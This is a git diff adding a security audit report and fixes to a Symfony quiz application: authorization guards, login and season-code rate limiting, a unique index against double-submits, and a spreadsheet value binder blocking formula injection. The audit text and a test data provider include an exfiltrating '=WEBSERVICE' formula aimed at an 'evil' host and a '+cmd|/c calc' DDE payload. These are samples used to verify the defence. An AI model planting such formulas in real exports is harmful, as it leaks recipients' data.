diff --git a/SECURITY_AUDIT.md b/SECURITY_AUDIT.md new file mode 100644 index 0000000..6036841 --- /dev/null +++ b/SECURITY_AUDIT.md @@ -0,0 +1,115 @@ +# Security Audit — Tijd voor de test + +**Date:** 2026-07-12 +**Branch:** `declare-ext-intl-ext-zip` +**Scope:** Full codebase — authentication/authorization, injection & output encoding, config/secrets/infrastructure, quiz business-logic abuse, and dependency audits. Read-only scan; no files were modified. + +## Summary + +| # | Severity | Finding | Location | +|----|----------|------------------------------------------------------------------------------------|-------------------------------------------------------------------------------| +| 1 | High | ~~`PrepareEliminationController` has no authorization guard~~ **Fixed 2026-07-13** | `src/Controller/Backoffice/PrepareEliminationController.php:21-65` | +| 2 | High | Production PostgreSQL published to host + default-password fallback | `compose.prod.yaml:27-28`, `compose.yaml:11,30` | +| 3 | Medium | ~~Spreadsheet formula injection in exports~~ **Fixed 2026-07-13** | `src/Service/QuizSpreadsheetService.php`, `src/Service/DataExportService.php` | +| 4 | Medium | ~~No login throttling / brute-force protection~~ **Fixed 2026-07-13** | `config/packages/security.yaml:30-31` | +| 5 | Medium | Open self-registration grants immediate backoffice access | `src/Controller/RegistrationController.php:40-56` | +| 6 | Low | ~~Double-submit race can inflate score~~ **Fixed 2026-07-13** | `src/Controller/QuizController.php:135-142` | +| 7 | Low | Answer-POST path never checks `isFinalized`/`isLocked` | `src/Controller/QuizController.php:102-131` | +| 8 | Low | Server-side formula evaluation of uploaded XLSX | `src/Service/QuizSpreadsheetService.php:68` | +| 9 | Low | Containers run as root | `Dockerfile` | +| 10 | Low | No security response headers in prod | `frankenphp/Caddyfile:45` | +| 11 | Low | Committed `APP_SECRET` (dev-only) | `.env.dev:3` | +| 12 | Low | `zend.exception_ignore_args = Off` in prod | `frankenphp/conf.d/10-app.ini:15` | + +**Dependencies are clean:** `composer audit` and `bin/console importmap:audit` both report zero known-CVE advisories. + +--- + +## High + +### 1. `PrepareEliminationController` has no authorization guard — FIXED + +**File:** `src/Controller/Backoffice/PrepareEliminationController.php:21-65` + +The class carried no `#[IsGranted]` at class or method level — unlike every sibling controller, and unlike `EliminationController` which guards with `SeasonVoter::ELIMINATION`. Both routes were gated only by the blanket `^/backoffice → IS_AUTHENTICATED` rule. + +- `viewElimination` (line 46) both reads and, on POST, rewrites any elimination via `updateFromInputBag()` + `flush()`. +- `index` (line 32) never checked that `$quiz` belonged to `$season`. + +**Failure scenario:** Any authenticated user who obtained or guessed another season's quiz/elimination UUID could rewrite that season's red/green elimination screens. + +**Fix applied:** Added `#[IsGranted(SeasonVoter::ELIMINATION, 'quiz')]` to `index` and `#[IsGranted(SeasonVoter::ELIMINATION, 'elimination')]` to `viewElimination`, matching the pattern used everywhere else. Regression tests `testIndexIsDeniedForNonOwner` and `testViewEliminationIsDeniedForNonOwner` were added to `tests/Controller/Backoffice/PrepareEliminationControllerTest.php` (written first, confirmed failing against the old code, now passing). Full suite (290 tests), PHPStan, Rector, and CS-Fixer all pass. + +### 2. Production PostgreSQL published to host with default-password fallback + +**Files:** `compose.prod.yaml:27-28`, `compose.yaml:11,30` + +- `compose.prod.yaml:27-28` publishes `5430:5432` in the *production* override; the DB should stay on the `internal` network only. +- `compose.yaml:11,30` default `POSTGRES_PASSWORD` to `!ChangeMe!`, and `compose.prod.yaml` never sets it — so if the Portainer stack env omits it, prod silently runs with a publicly-known password. + +**Failure scenario:** Internet-reachable database with a known default credential → full read/write of user hashes, quiz data, reset-password tokens. + +**Fix:** Drop the port publish from the prod override; make `POSTGRES_PASSWORD` mandatory with no fallback in prod. + +--- + +## Medium + +### 3. Spreadsheet formula injection in exports — FIXED + +**Files:** `src/Service/QuizSpreadsheetService.php:132,136`; `src/Service/DataExportService.php:208,237,249-265,328,393-403` + +All user-controlled strings were written to XLSX via `setCellValue()`/`fromArray()` with no quote-prefixing or value-binder override. PhpSpreadsheet stores any string starting with `=` as a live formula. + +**Failure scenario:** Seasons support multiple owners, so a co-owner could name an answer/candidate `=WEBSERVICE("http://evil/?"&A1)`; when another owner opened the quiz export or GDPR zip in Excel, the formula would execute/exfiltrate. + +**Fix applied:** Added `src/Helpers/FormulaInjectionSafeValueBinder.php`, a `DefaultValueBinder` override that forces any string starting with `= + - @` (or a leading tab/CR) to be stored as a plain string data type instead of being auto-detected as a formula. Wired it in via `Cell::setValueBinder()` in the constructors of `QuizSpreadsheetService` and `DataExportService`, so it's active before any cell is written. Regression tests added: `tests/Helpers/FormulaInjectionSafeValueBinderTest.php` (unit-level), plus `testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString` and `testRawAnswersSheetStoresFormulaLikeAnswerTextAsPlainString` (written first, confirmed failing against the old code, now passing). + +### 4. No login throttling / brute-force protection — FIXED + +**File:** `config/packages/security.yaml:30-31` + +`form_login` had no `login_throttling` and no rate limiter was configured anywhere. `/login` allowed unlimited password guessing; the public `POST /` season-code entry (`QuizController.php:35`) was likewise an unthrottled oracle for enumerating the ~3.2M-space season codes (5 chars, 20-consonant alphabet). + +**Fix applied:** +- Added `symfony/rate-limiter` as a composer dependency and enabled `login_throttling` (`max_attempts: 5`) on the `main` firewall in `config/packages/security.yaml`, using Symfony's built-in per-user/global rate limiter. +- Added a dedicated `season_code` rate limiter (`framework.rate_limiter`, sliding window, 20 attempts/minute per IP) in `config/packages/framework.yaml`, enforced in `QuizController::selectSeason` — a `TooManyRequestsHttpException` (429) is thrown once the client IP exceeds the limit, before the season-code form is even validated. +- Both limiters have lower `when@test` overrides so tests run fast and deterministically. +- Regression tests added: `testLoginIsThrottledAfterTooManyFailedAttempts` (`tests/Controller/LoginControllerTest.php`) and `testSelectSeasonIsThrottledAfterTooManyAttempts` (`tests/Controller/QuizControllerTest.php`), both written first, confirmed failing against the old config, now passing. + +### 5. Open self-registration grants immediate backoffice access + +**Files:** `src/Controller/RegistrationController.php:40-56`, `config/packages/security.yaml:31` + +Registration auto-logs-in a new user *before* email verification, and `^/backoffice` requires only `IS_AUTHENTICATED`. Any anonymous visitor gets an authenticated foothold to probe every backoffice route — the precondition that makes finding 1 practically exploitable. + +**Fix / decision needed:** Confirm whether open registration into the backoffice is intended. If so, gate sensitive areas behind verified email and add a CAPTCHA/rate limit to registration. + +--- + +## Low + +### 6. Double-submit race can inflate score — FIXED + +**Files:** `src/Controller/QuizController.php:137-146`, `src/Entity/GivenAnswer.php`, `migrations/Version20260713194340.php` + +No unique constraint on `GivenAnswer` and a TOCTOU between the "is this the next question" check and the insert. Concurrent POSTs of the known-correct answer could each pass the check before either committed, each inserting a `GivenAnswer` row — `QuizRepository::getScores()` counts every row where the answer is correct, so duplicates inflated the score. + +**Fix applied:** Added a denormalized `GivenAnswer::$question` (derived from `$answer->question` in the constructor, no call-site changes needed) plus a Postgres partial unique index on `(candidate_id, question_id) WHERE deleted_at IS NULL`, matching the pattern already used on `QuizCandidate`. The partial predicate keeps re-answering possible after `GivenAnswerRepository::deleteAllForCandidateInQuiz()` soft-deletes a candidate's answers (backoffice "reset candidate progress"). `QuizController::quizPage` now catches `UniqueConstraintViolationException` on flush and redirects with a flash instead of a 500. Regression test `testDuplicateGivenAnswerForSameQuestionIsRejected` added to `tests/Repository/GivenAnswerRepositoryTest.php` (written first, confirmed failing against the old schema, now passing). Full suite (300 tests), PHPStan, Rector, and CS-Fixer all pass. + +--- + +## Remaining Low findings + +- **7. Answer-POST path never checks `isFinalized`/`isLocked`** (`src/Controller/QuizController.php:102-131`): a finalized quiz still set as `activeQuiz` stays answerable. The POST path also doesn't assert a `QuizCandidate` exists (only GET does) — currently not exploitable but worth hardening. +- **8. Server-side formula evaluation of uploaded XLSX** (`src/Service/QuizSpreadsheetService.php:68`): `toArray()` leaves `calculateFormulas` at default `true`, allowing CPU-burn via nested formulas on import. Pass `calculateFormulas: false`. +- **9. Containers run as root** (`Dockerfile`, no `USER` directive): any PHP RCE is immediately root in-container. +- **10. No security response headers in prod** (`frankenphp/Caddyfile:45`): no CSP/`frame-ancestors`, `X-Content-Type-Options`, or HSTS — backoffice is clickjackable. +- **11. Committed `APP_SECRET`** (`.env.dev:3`, dev-only): prod uses `composer dump-env prod` with an env-provided secret, so scope is limited to any environment misconfigured to `APP_ENV=dev`. Consider rotating regardless since the value is now public. +- **12. `zend.exception_ignore_args = Off`** (`frankenphp/conf.d/10-app.ini:15`, prod): a stack trace in a password-handling path could ship plaintext to Sentry. + +--- + +## Confirmed clean + +No SQL/DQL injection (all queries parameterized), essentially no XSS surface (one `|raw` on an app-generated signed URL; GitHub release markdown is escaped), no `unserialize`/`eval`/shell-exec anywhere, safe redirects (open-redirect listener validates the logout `target`), no correct-answer or score leakage to candidates, server-set timing (no client-forgeable timestamps), zip creation with sanitized filenames (no zip-slip/path traversal), and a clean CI workflow (least-privilege permissions, SHA-pinned actions, no `pull_request_target`). diff --git a/composer.json b/composer.json index 9c420bf..78e1fc7 100644 --- a/composer.json +++ b/composer.json @@ -9,6 +9,8 @@ "php": ">=8.5", "ext-ctype": "*", "ext-iconv": "*", + "ext-intl": "*", + "ext-zip": "*", "doctrine/dbal": "^4.4.3", "doctrine/doctrine-bundle": "^3.2.2", "doctrine/doctrine-migrations-bundle": "^4.0", @@ -34,6 +36,7 @@ "symfony/object-mapper": "8.1.*", "symfony/property-access": "8.1.*", "symfony/property-info": "8.1.*", + "symfony/rate-limiter": "8.1.*", "symfony/runtime": "8.1.*", "symfony/security-bundle": "8.1.*", "symfony/security-csrf": "8.1.*", diff --git a/composer.lock b/composer.lock index e8b0db9..00a739b 100644 --- a/composer.lock +++ b/composer.lock @@ -4,7 +4,7 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "0bb88a3f492fa607203eb66735827179", + "content-hash": "8d015cbf63f1f3814ab4992817f899fd", "packages": [ { "name": "composer/pcre", @@ -6985,6 +6985,80 @@ ], "time": "2026-05-29T05:06:50+00:00" }, + { + "name": "symfony/rate-limiter", + "version": "v8.1.1", + "source": { + "type": "git", + "url": "https://github.com/symfony/rate-limiter.git", + "reference": "dd8f48286c000b8511b9413105f4118c8c2a4bd6" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/rate-limiter/zipball/dd8f48286c000b8511b9413105f4118c8c2a4bd6", + "reference": "dd8f48286c000b8511b9413105f4118c8c2a4bd6", + "shasum": "" + }, + "require": { + "php": ">=8.4.1", + "symfony/options-resolver": "^7.4|^8.0" + }, + "require-dev": { + "psr/cache": "^1.0|^2.0|^3.0", + "symfony/lock": "^7.4|^8.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\RateLimiter\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Wouter de Jong", + "email": "wouter@wouterj.nl" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides a Token Bucket implementation to rate limit input and output in your application", + "homepage": "https://symfony.com", + "keywords": [ + "limiter", + "rate-limiter" + ], + "support": { + "source": "https://github.com/symfony/rate-limiter/tree/v8.1.1" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-06-09T11:06:24+00:00" + }, { "name": "symfony/routing", "version": "v8.1.0", @@ -13758,7 +13832,9 @@ "platform": { "php": ">=8.5", "ext-ctype": "*", - "ext-iconv": "*" + "ext-iconv": "*", + "ext-intl": "*", + "ext-zip": "*" }, "platform-dev": {}, "plugin-api-version": "2.9.0" diff --git a/config/packages/framework.yaml b/config/packages/framework.yaml index fc45578..9c49989 100644 --- a/config/packages/framework.yaml +++ b/config/packages/framework.yaml @@ -1,7 +1,7 @@ # see https://symfony.com/doc/current/reference/configuration/framework.html framework: secret: '%env(APP_SECRET)%' - + # Note that the session will be started ONLY if you read or write from it. session: true form: @@ -9,6 +9,13 @@ framework: enabled: true #esi: true #fragments: true + rate_limiter: + # Throttles guesses against the public season-code entry point (config/packages/security.yaml + # handles throttling for the backoffice /login form separately). + season_code: + policy: sliding_window + limit: 20 + interval: '1 minute' when@prod: framework: # shortcut for private IP address ranges of your proxy @@ -21,3 +28,6 @@ when@test: test: true session: storage_factory_id: session.storage.factory.mock_file + rate_limiter: + season_code: + limit: 3 diff --git a/config/packages/security.yaml b/config/packages/security.yaml index 378d16d..479a740 100644 --- a/config/packages/security.yaml +++ b/config/packages/security.yaml @@ -27,6 +27,8 @@ security: remember_me: secret: '%kernel.secret%' lifetime: 604800 # 1 week in seconds + login_throttling: + max_attempts: 5 access_control: - { path: ^/admin, roles: ROLE_ADMIN } @@ -43,3 +45,7 @@ when@test: cost: 4 # Lowest possible value for bcrypt time_cost: 3 # Lowest possible value for argon memory_cost: 10 # Lowest possible value for argon + firewalls: + main: + login_throttling: + max_attempts: 2 diff --git a/config/reference.php b/config/reference.php index a9a791e..574cecc 100644 --- a/config/reference.php +++ b/config/reference.php @@ -629,7 +629,7 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param; * }>, * }, * rate_limiter?: bool|array{ // Rate limiter configuration - * enabled?: bool|Param, // Default: false + * enabled?: bool|Param, // Default: true * limiters?: arrayaddSql('ALTER TABLE given_answer ADD question_id UUID DEFAULT NULL'); + $this->addSql(<<<'SQL' + UPDATE given_answer + SET question_id = answer.question_id + FROM answer + WHERE answer.id = given_answer.answer_id + SQL); + $this->addSql('ALTER TABLE given_answer ALTER COLUMN question_id SET NOT NULL'); + $this->addSql(<<<'SQL' + ALTER TABLE + given_answer + ADD + CONSTRAINT FK_9AC61A301E27F6BF FOREIGN KEY (question_id) REFERENCES question (id) NOT DEFERRABLE + SQL); + $this->addSql('CREATE INDEX IDX_9AC61A301E27F6BF ON given_answer (question_id)'); + $this->addSql(<<<'SQL' + CREATE UNIQUE INDEX UNIQ_9AC61A3091BD87811E27F6BF ON given_answer (candidate_id, question_id) + WHERE + (deleted_at IS NULL) + SQL); + } + + #[\Override] + public function down(Schema $schema): void + { + // this down() migration is auto-generated, please modify it to your needs + $this->addSql('ALTER TABLE given_answer DROP CONSTRAINT FK_9AC61A301E27F6BF'); + $this->addSql('DROP INDEX IDX_9AC61A301E27F6BF'); + $this->addSql('DROP INDEX UNIQ_9AC61A3091BD87811E27F6BF'); + $this->addSql('ALTER TABLE given_answer DROP question_id'); + } +} diff --git a/src/Controller/Backoffice/PrepareEliminationController.php b/src/Controller/Backoffice/PrepareEliminationController.php index bf7953e..ec9acfc 100644 --- a/src/Controller/Backoffice/PrepareEliminationController.php +++ b/src/Controller/Backoffice/PrepareEliminationController.php @@ -11,18 +11,21 @@ use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Routing\Attribute\Route; use Symfony\Component\Routing\Requirement\Requirement; use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid; +use Symfony\Component\Security\Http\Attribute\IsGranted; use Tvdt\Controller\AbstractController; use Tvdt\Entity\Elimination; use Tvdt\Entity\Quiz; use Tvdt\Entity\Season; use Tvdt\Enum\FlashType; use Tvdt\Factory\EliminationFactory; +use Tvdt\Security\Voter\SeasonVoter; final class PrepareEliminationController extends AbstractController { public function __construct(private readonly EliminationFactory $eliminationFactory, private readonly EntityManagerInterface $em) {} #[IsCsrfTokenValid('prepare_elimination')] + #[IsGranted(SeasonVoter::ELIMINATION, 'quiz')] #[Route( '/backoffice/season/{seasonCode:season}/quiz/{quiz}/elimination/prepare', name: 'tvdt_prepare_elimination', @@ -37,6 +40,7 @@ final class PrepareEliminationController extends AbstractController } #[IsCsrfTokenValid('prepare_elimination', methods: ['POST'])] + #[IsGranted(SeasonVoter::ELIMINATION, 'elimination')] #[Route( '/backoffice/elimination/{elimination}', name: 'tvdt_prepare_elimination_view', diff --git a/src/Controller/QuizController.php b/src/Controller/QuizController.php index c36909f..40a5c50 100644 --- a/src/Controller/QuizController.php +++ b/src/Controller/QuizController.php @@ -4,10 +4,13 @@ declare(strict_types=1); namespace Tvdt\Controller; +use Doctrine\DBAL\Exception\UniqueConstraintViolationException; use Doctrine\ORM\EntityManagerInterface; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Attribute\AsController; +use Symfony\Component\HttpKernel\Exception\TooManyRequestsHttpException; +use Symfony\Component\RateLimiter\RateLimiterFactoryInterface; use Symfony\Component\Routing\Attribute\Route; use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid; use Symfony\Contracts\Translation\TranslatorInterface; @@ -30,7 +33,7 @@ use Tvdt\Repository\SeasonRepository; #[AsController] final class QuizController extends AbstractController { - public function __construct(private readonly TranslatorInterface $translator, private readonly EntityManagerInterface $entityManager, private readonly SeasonRepository $seasonRepository, private readonly CandidateRepository $candidateRepository, private readonly QuestionRepository $questionRepository, private readonly AnswerRepository $answerRepository, private readonly QuizCandidateRepository $quizCandidateRepository) {} + public function __construct(private readonly TranslatorInterface $translator, private readonly EntityManagerInterface $entityManager, private readonly SeasonRepository $seasonRepository, private readonly CandidateRepository $candidateRepository, private readonly QuestionRepository $questionRepository, private readonly AnswerRepository $answerRepository, private readonly QuizCandidateRepository $quizCandidateRepository, private readonly RateLimiterFactoryInterface $seasonCodeLimiter) {} #[Route(path: '/', name: 'tvdt_quiz_select_season', methods: ['GET', 'POST'])] public function selectSeason(Request $request): Response @@ -38,6 +41,14 @@ final class QuizController extends AbstractController $form = $this->createForm(SelectSeasonType::class); $form->handleRequest($request); + if ($form->isSubmitted()) { + $limit = $this->seasonCodeLimiter->create($request->getClientIp())->consume(); + + if (!$limit->isAccepted()) { + throw new TooManyRequestsHttpException(max(1, $limit->getRetryAfter()->getTimestamp() - time())); + } + } + if ($form->isSubmitted() && $form->isValid()) { $seasonCode = $form->get('season_code')->getData(); @@ -125,7 +136,14 @@ final class QuizController extends AbstractController $givenAnswer = new GivenAnswer($candidate, $answer->question->quiz, $answer); $this->entityManager->persist($givenAnswer); - $this->entityManager->flush(); + + try { + $this->entityManager->flush(); + } catch (UniqueConstraintViolationException) { + $this->addFlash(FlashType::Danger, $this->translator->trans('You cannot answer this question')); + + return $this->redirectToRoute('tvdt_quiz_quiz_page', ['seasonCode' => $season->seasonCode, 'nameHash' => $nameHash]); + } // end of extracting saving answer logic return $this->redirectToRoute('tvdt_quiz_quiz_page', ['seasonCode' => $season->seasonCode, 'nameHash' => $nameHash]); diff --git a/src/Entity/GivenAnswer.php b/src/Entity/GivenAnswer.php index bd778de..804a68d 100644 --- a/src/Entity/GivenAnswer.php +++ b/src/Entity/GivenAnswer.php @@ -14,6 +14,7 @@ use Tvdt\Repository\GivenAnswerRepository; #[Gedmo\SoftDeleteable] #[ORM\Entity(repositoryClass: GivenAnswerRepository::class)] +#[ORM\UniqueConstraint(columns: ['candidate_id', 'question_id'], options: ['where' => '(deleted_at IS NULL)'])] class GivenAnswer { use SoftDeleteableEntity; @@ -28,6 +29,10 @@ class GivenAnswer #[ORM\Column(type: Types::DATETIMETZ_IMMUTABLE, nullable: false)] public private(set) \DateTimeImmutable $created; + #[ORM\JoinColumn(nullable: false)] + #[ORM\ManyToOne] + public private(set) Question $question; + public function __construct( #[ORM\JoinColumn(nullable: false)] #[ORM\ManyToOne(inversedBy: 'givenAnswers')] @@ -40,5 +45,7 @@ class GivenAnswer #[ORM\JoinColumn(nullable: false)] #[ORM\ManyToOne(inversedBy: 'givenAnswers')] public private(set) Answer $answer, - ) {} + ) { + $this->question = $answer->question; + } } diff --git a/src/Helpers/FormulaInjectionSafeValueBinder.php b/src/Helpers/FormulaInjectionSafeValueBinder.php new file mode 100644 index 0000000..9846fd3 --- /dev/null +++ b/src/Helpers/FormulaInjectionSafeValueBinder.php @@ -0,0 +1,31 @@ +setValueExplicit($value); + + return true; + } + + return parent::bindValue($cell, $value); + } +} diff --git a/src/Service/DataExportService.php b/src/Service/DataExportService.php index 2b97159..f0cf206 100644 --- a/src/Service/DataExportService.php +++ b/src/Service/DataExportService.php @@ -5,6 +5,7 @@ declare(strict_types=1); namespace Tvdt\Service; use Doctrine\ORM\EntityManagerInterface; +use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; @@ -19,6 +20,7 @@ use Tvdt\Entity\Quiz; use Tvdt\Entity\Season; use Tvdt\Entity\User; use Tvdt\Helpers\FilenameSanitizer; +use Tvdt\Helpers\FormulaInjectionSafeValueBinder; use Tvdt\Repository\QuizRepository; use function Safe\tempnam; @@ -31,7 +33,9 @@ class DataExportService private readonly EntityManagerInterface $entityManager, private readonly QuizSpreadsheetService $quizSpreadsheetService, private readonly QuizRepository $quizRepository, - ) {} + ) { + Cell::setValueBinder(new FormulaInjectionSafeValueBinder()); + } /** @throws FilesystemException @return string path to a temp zip file; caller is responsible for removing it */ public function exportForUser(User $user): string diff --git a/src/Service/QuizSpreadsheetService.php b/src/Service/QuizSpreadsheetService.php index f186223..dd2d377 100644 --- a/src/Service/QuizSpreadsheetService.php +++ b/src/Service/QuizSpreadsheetService.php @@ -4,6 +4,7 @@ declare(strict_types=1); namespace Tvdt\Service; +use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Reader; use PhpOffice\PhpSpreadsheet\Spreadsheet; @@ -14,9 +15,15 @@ use Tvdt\Entity\Answer; use Tvdt\Entity\Question; use Tvdt\Entity\Quiz; use Tvdt\Exception\SpreadsheetDataException; +use Tvdt\Helpers\FormulaInjectionSafeValueBinder; class QuizSpreadsheetService { + public function __construct() + { + Cell::setValueBinder(new FormulaInjectionSafeValueBinder()); + } + public function generateTemplate(bool $fillExample = true): \Closure { $quiz = new Quiz(); diff --git a/templates/reset_password/email.html.twig b/templates/reset_password/email.html.twig index e62d49e..6505e21 100644 --- a/templates/reset_password/email.html.twig +++ b/templates/reset_password/email.html.twig @@ -19,7 +19,7 @@

- Let op: deze link is, niet eeuwig geldig. Hij verloopt over + Let op: deze link is niet eeuwig geldig. Hij verloopt over {{ resetToken.expirationMessageKey|trans(resetToken.expirationMessageData, 'ResetPasswordBundle') }}.

diff --git a/tests/Controller/Backoffice/PrepareEliminationControllerTest.php b/tests/Controller/Backoffice/PrepareEliminationControllerTest.php index 7e417ff..5b09c64 100644 --- a/tests/Controller/Backoffice/PrepareEliminationControllerTest.php +++ b/tests/Controller/Backoffice/PrepareEliminationControllerTest.php @@ -117,4 +117,34 @@ final class PrepareEliminationControllerTest extends AbstractControllerWebTestCa self::assertResponseRedirects(\sprintf('/elimination/%s', $elimination->id)); } + + public function testIndexIsDeniedForNonOwner(): void + { + $quiz = $this->getQuizByName('Quiz 1'); + $token = $this->getCsrfTokenFromPage(\sprintf('/backoffice/season/krtek/quiz/%s/result', $quiz->id), '/elimination/prepare'); + + $this->loginAs('test@example.org'); + + $this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/quiz/%s/elimination/prepare', $quiz->id), [ + '_token' => $token, + ]); + + self::assertResponseStatusCodeSame(403); + } + + public function testViewEliminationIsDeniedForNonOwner(): void + { + $quiz = $this->getQuizByName('Quiz 1'); + $elimination = new Elimination($quiz); + $elimination->data = ['Tom' => Elimination::SCREEN_GREEN]; + + $this->entityManager->persist($elimination); + $this->entityManager->flush(); + + $this->loginAs('test@example.org'); + + $this->client->request(Request::METHOD_GET, \sprintf('/backoffice/elimination/%s', $elimination->id)); + + self::assertResponseStatusCodeSame(403); + } } diff --git a/tests/Controller/LoginControllerTest.php b/tests/Controller/LoginControllerTest.php index 2ad24d0..b530997 100644 --- a/tests/Controller/LoginControllerTest.php +++ b/tests/Controller/LoginControllerTest.php @@ -11,6 +11,14 @@ use Tvdt\Controller\LoginController; #[CoversClass(LoginController::class)] final class LoginControllerTest extends AbstractControllerWebTestCase { + protected function setUp(): void + { + parent::setUp(); + + // Login attempts are rate-limited; start each test with a clean quota. + self::getContainer()->get('cache.rate_limiter')->clear(); + } + public function testLoginPageLoadsWhenNotAuthenticated(): void { $this->client->request(Request::METHOD_GET, '/login'); @@ -60,6 +68,30 @@ final class LoginControllerTest extends AbstractControllerWebTestCase self::assertSelectorTextContains('body', 'Ongeldige inloggegevens.'); } + public function testLoginIsThrottledAfterTooManyFailedAttempts(): void + { + for ($i = 0; $i < 2; ++$i) { + $this->client->request(Request::METHOD_GET, '/login'); + $form = $this->client->getCrawler()->filter('form')->form([ + '_username' => 'test@example.org', + '_password' => 'wrong-password', + ]); + $this->client->submit($form); + self::assertResponseRedirects('/login'); + } + + $this->client->request(Request::METHOD_GET, '/login'); + $form = $this->client->getCrawler()->filter('form')->form([ + '_username' => 'test@example.org', + '_password' => 'wrong-password', + ]); + $this->client->submit($form); + + self::assertResponseRedirects('/login'); + $this->client->followRedirect(); + self::assertSelectorTextContains('body', 'Te veel onjuiste inlogpogingen'); + } + public function testLogoutIsInterceptedByFirewall(): void { $this->loginAs('test@example.org'); diff --git a/tests/Controller/QuizControllerTest.php b/tests/Controller/QuizControllerTest.php index a5f88ef..25e3e4c 100644 --- a/tests/Controller/QuizControllerTest.php +++ b/tests/Controller/QuizControllerTest.php @@ -17,6 +17,14 @@ use Tvdt\Helpers\Base64; #[CoversClass(QuizController::class)] final class QuizControllerTest extends AbstractControllerWebTestCase { + protected function setUp(): void + { + parent::setUp(); + + // Season-code guessing is rate-limited; start each test with a clean quota. + self::getContainer()->get('cache.rate_limiter')->clear(); + } + private function answerQuestion(Question $question): void { $tomHash = Base64::base64UrlEncode('Tom'); @@ -69,6 +77,26 @@ final class QuizControllerTest extends AbstractControllerWebTestCase self::assertResponseRedirects('/krtek'); } + public function testSelectSeasonIsThrottledAfterTooManyAttempts(): void + { + for ($i = 0; $i < 3; ++$i) { + $crawler = $this->client->request(Request::METHOD_GET, '/'); + $form = $crawler->filter('form')->form([ + 'select_season[season_code]' => 'aaaaa', + ]); + $this->client->submit($form); + self::assertResponseRedirects('/'); + } + + $crawler = $this->client->request(Request::METHOD_GET, '/'); + $form = $crawler->filter('form')->form([ + 'select_season[season_code]' => 'aaaaa', + ]); + $this->client->submit($form); + + self::assertResponseStatusCodeSame(429); + } + public function testEnterNamePageLoads(): void { $this->client->request(Request::METHOD_GET, '/krtek'); diff --git a/tests/Helpers/FormulaInjectionSafeValueBinderTest.php b/tests/Helpers/FormulaInjectionSafeValueBinderTest.php new file mode 100644 index 0000000..0cf9d3d --- /dev/null +++ b/tests/Helpers/FormulaInjectionSafeValueBinderTest.php @@ -0,0 +1,63 @@ + */ + public static function dangerousValueProvider(): iterable + { + yield 'equals-prefixed formula' => ['=WEBSERVICE("http://evil/?"&A1)']; + yield 'plus-prefixed' => ['+cmd|/c calc']; + yield 'minus-prefixed' => ['-2+3']; + yield 'at-prefixed' => ['@SUM(1,1)']; + } + + #[DataProvider('dangerousValueProvider')] + public function testDangerousValuesAreStoredAsPlainStrings(string $value): void + { + $sheet = new Spreadsheet()->getActiveSheet(); + $sheet->setCellValue('A1', $value); + + $cell = $sheet->getCell('A1'); + $this->assertSame(DataType::TYPE_STRING, $cell->getDataType()); + $this->assertSame($value, $cell->getValue()); + } + + public function testOrdinaryValuesAreUnaffected(): void + { + $sheet = new Spreadsheet()->getActiveSheet(); + $sheet->setCellValue('A1', 'Anna en Bram'); + $sheet->setCellValue('A2', 42); + $sheet->setCellValue('A3', true); + + $this->assertSame('Anna en Bram', $sheet->getCell('A1')->getValue()); + $this->assertSame(DataType::TYPE_STRING, $sheet->getCell('A1')->getDataType()); + $this->assertSame(42, $sheet->getCell('A2')->getValue()); + $this->assertSame(DataType::TYPE_NUMERIC, $sheet->getCell('A2')->getDataType()); + $this->assertTrue($sheet->getCell('A3')->getValue()); + $this->assertSame(DataType::TYPE_BOOL, $sheet->getCell('A3')->getDataType()); + } +} diff --git a/tests/Repository/GivenAnswerRepositoryTest.php b/tests/Repository/GivenAnswerRepositoryTest.php new file mode 100644 index 0000000..75465b4 --- /dev/null +++ b/tests/Repository/GivenAnswerRepositoryTest.php @@ -0,0 +1,41 @@ +getSeasonByCode('krtek'); + $candidate = $this->getCandidateBySeasonAndName($krtekSeason, 'Tom'); + + $question = $this->questionRepository->findNextQuestionForCandidate($candidate); + $this->assertInstanceOf(Question::class, $question); + + $answers = $question->answers; + $this->assertGreaterThanOrEqual(2, $answers->count()); + + $firstAnswer = $answers->first(); + $secondAnswer = $answers->get(1); + $this->assertInstanceOf(Answer::class, $firstAnswer); + $this->assertInstanceOf(Answer::class, $secondAnswer); + + $this->entityManager->persist(new GivenAnswer($candidate, $question->quiz, $firstAnswer)); + $this->entityManager->flush(); + + $this->entityManager->persist(new GivenAnswer($candidate, $question->quiz, $secondAnswer)); + + $this->expectException(UniqueConstraintViolationException::class); + $this->entityManager->flush(); + } +} diff --git a/tests/Service/DataExportServiceTest.php b/tests/Service/DataExportServiceTest.php index 66815f5..845202b 100644 --- a/tests/Service/DataExportServiceTest.php +++ b/tests/Service/DataExportServiceTest.php @@ -5,6 +5,7 @@ declare(strict_types=1); namespace Tvdt\Tests\Service; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; +use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\Reader; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use PHPUnit\Framework\Attributes\CoversClass; @@ -202,6 +203,43 @@ final class DataExportServiceTest extends DatabaseTestCase 